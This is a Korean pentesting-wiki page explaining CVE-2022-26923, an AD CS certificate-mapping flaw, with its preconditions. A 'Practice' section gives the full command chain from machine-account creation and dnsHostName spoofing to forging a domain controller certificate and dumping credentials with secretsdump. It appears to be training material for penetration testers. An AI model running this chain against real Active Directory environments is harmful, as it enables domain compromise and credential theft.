펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

CVE-2022-26923

PreviousESC11NextNon-PKINIT

Last updated 1 month ago

Was this helpful?

2022년 Oliver Lyak은 AD CS에서 CVE-2022-26923 취약점을 발견했습니다. 당시 머신 계정을 통한 인증서 요청 시 인증서 매핑은 dNSHostName 속성 값에 기반하여 이뤄졌습니다. 기존에 AD CS에서는 사용자를 식별하는 고유한 값인 UPN을 통해서 인증서를 발급했습니다.

하지만 컴퓨터를 식별할 때는 UPN이 없기 때문에 호스트 네임 값인 dNSHostname 속성 값을 통해 해당 값에 맞는 인증서를 발급해줬습니다. dNSHostname 값이 요청 들어오면 서버는 이 값에 맞게 SPN을 자동으로 업데이트 하게 되어서 만약 이 값을 DC Hostname으로 변경하게 된다면 실제 DC와 SPN 값이 중복되어 오류가 발생합니다. 하지만 SPN 값을 없앤 후 dNSHostname 값을 변경하면 SPN이 동기화되지 않는 다는 점에서 SPN을 없앤 뒤 dNSHostname 값을 DC Hostname 값으로 변경하면 DC의 인증서가 발급됩니다.

AD CS가 이 취약점에 노출되었는지 확인하는 방법으로는 획득한 계정을 통해 CA의 User 내장 템플릿을 이용하여 인증서 발급 요청을 했을 때 [ * ] Certificate has no object SID 라고 출력되면 취약한 것입니다. 확인하는 명령어는 다음과 같습니다.

# CVE-2022-26923에 취약한지 점검
certipy-ad req -u <USER> -p <PASS> -ca <CA> -dc-ip <dc-ip> -template User

강력한 매핑의 경우 Object SID가 인증서에 포함되어 있어야만 발급이 가능한 반면, 약한 매핑은 UPN, dNSHostname 등에 있는 이름을 사용해서 매핑을 하기 때문입니다. SID가 없다는 오류가 나왔다는 것은 거부되지 않고 단순히 기재가 되지 않았다는 뜻이므로 약한 매핑을 사용하여 컴퓨터 계정의 dNSHoatname 값을 조작하여 약한 매핑을 통한 인증서 탈취가 가능해집니다.

또한 이 공격에서 전제가 되는 컴퓨터 계정의 사용은, 도메인 내에 있는 일반 사용자 계정은 누구나 기본적으로 머신 계정을 10개 까지 생성 가능하기 때문에 문제가 되지 않습니다.

정리하여 CVE-2022-26923 취약점이 성공하려면 다음과 같은 조건을 만족해야 합니다.

  1. Microsoft 2022년 5월 업데이트 이전의 AD CS

  2. 약한 매핑을 사용하는 AD CS

  3. MAQ(MachineAccountQuota)의 값이 1 이상인 사용자 계정 확보

Practice

# 머신 계정 생성 및 dNSHoatname 속성 변경
certipy-ad create -u <USER> -p <PASS> -dc-ip <dc-ip> -user <New Machine Name> -dns <ADCS FQDN>
impacket-addcomputer -computer-name <New Name> -computer-pass <New Pass> -dc-ip <dc-ip> <Domain/USER:PASS>

# powerview.py 다운로드
git clone https://github.com/aniqfakhrul/powerview.py
cd powerview.py
sudo python3 setup.py install

# powerview.py를 이용한 SPN 변경
python3 powerview.py <Domain/USER:PASS@dc-ip>

# gnureadline 모듈이 없다고 오류 발생 시
# pip install gnureadline --break-system-packages

# 생성한 머신 계정 SPN을 DC SPN으로 변경
PV > Set-DomainObject -Identity 'Machine' -Set dnsHostName=<DC FQDN>

# Machine 템플릿을 통한 변조된 인증서 발급 요청
certipy-ad req -u <Machine> -p <PASS> -ca <CA> -template Machine -dc-ip <ADCS IP>

# 인증서를 통한 크리덴셜 덤핑
impacket-secretsdump -hashes <NT Hash> <Domain>/<DC Hostname>@<dc-ip>

References

https://academy.hackthebox.com/module/236/section/2550academy.hackthebox.com
https://www.ahnlab.com/cn/contents/content-center/pdf/35314
https://www.ahnlab.com/cn/contents/content-center/pdf/35314